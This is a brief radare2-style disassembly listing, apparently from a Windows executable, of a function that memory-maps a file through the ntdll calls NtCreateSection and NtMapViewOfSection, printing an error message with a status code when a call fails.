call qword [sym.imp.ntdll.dll_NtCreateSection]
mov ebx, eax
test eax, eax
jns 0x14016ff75
lea rcx, str.NtCreateSection:_0x_08X_n
jmp 0x14016ffcb
mov rcx, qword [rsp + 0x68]
xor r9d, r9d
mov dword [rsp + 0x48], 2
mov r8, rdi
mov dword [rsp + 0x40], ebp
mov dword [rsp + 0x38], 2
mov qword [rsp + 0x30], rsi
lea rdx, [r9 - 1]
mov qword [rdi], rbp
mov qword [rsp + 0x28], rbp
mov qword [rsi], rbp
mov qword [rsp + 0x20], rbp
call qword [sym.imp.ntdll.dll_NtMapViewOfSection]
mov ebx, eax
cmp eax, 0x40000003
jne 0x14016ffc0
mov ebx, ebp
jmp 0x14016ffd2
test eax, eax
jns 0x14016ffd2
lea rcx, str.NtMapViewOfSection:_0x_08X_n
mov edx, eax
call fcn.140167b10
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x14016fffd
call qword [sym.imp.ntdll.dll_NtClose]
jmp 0x14016fffd
mov edx, ebx
lea rcx, str.NtCreateFile:_0x_08X_n
call fcn.140167b10
mov eax, ebx
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.140473210
mov rbx, qword [rsp + 0x118]
add rsp, 0xf0
pop rdi
pop rsi
pop rbp
ret